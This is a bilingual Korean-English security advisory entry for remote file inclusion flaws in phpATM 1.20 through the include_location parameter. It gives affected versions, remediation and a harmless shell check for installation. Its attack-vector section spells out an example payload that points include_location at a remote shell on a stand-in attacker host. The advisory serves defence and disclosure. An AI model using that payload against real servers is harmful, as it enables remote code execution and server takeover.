🇰🇷 한글 설명
PHP Advanced Transfer Manager (phpATM) 1.20의 12개 파일에서 include_location 파라미터로 인한 원격 파일 포함 취약점입니다. 인증되지 않은 공격자가 임의의 PHP 코드를 실행할 수 있어 서버 완전 제어가 가능합니다.
💡 쉬운 설명
phpATM 파일 관리 프로그램이 사용자 입력을 검증하지 않아 해커가 악의적인 코드를 원격으로 실행할 수 있습니다. 이를 통해 서버의 모든 데이터 탈취, 변조, 또는 삭제가 가능합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in PHP Advanced Transfer Manager (phpATM) 1.20 allow remote attackers to execute arbitrary PHP code via the include_location parameter in (1) activate.php, (2) configure.php, (3) fileop.php, (4) getimg.php, (5) ipblocked.php, (6) register.php, (7) showrecent.php, (8) showtophits.php, (9) usrmanag.php, (10) viewer_bottom.php, (11) viewer_content.php, and (12) viewer_top.php. NOTE: The login.php and confirm.php vectors are already covered by CVE-2006-4594.
📍 영향받는 시스템
PHP Advanced Transfer Manager (phpATM) 버전 1.20 이하
⚔️ 공격 벡터
HTTP GET/POST 요청으로 activate.php, configure.php 등 12개 파일에 include_location=http://attacker.com/shell.php 형태로 전송
🛡️ 대응 방법
phpATM 1.21 이상으로 즉시 업그레이드하거나 include_location 파라미터에 대한 입력 검증 및 화이트리스트 필터 적용
🔧 검증 코드
phpATM 설치 경로가 발견되면 설치되어 있는 것이고, 버전 파일에서 1.20 이하면 취약합니다. 발견되지 않으면 설치되지 않은 상태입니다.
find /var/www -name 'phpATM' -type d 2>/dev/null && grep -l 'phpATM' /var/www/*/version.txt 2>/dev/null | xargs cat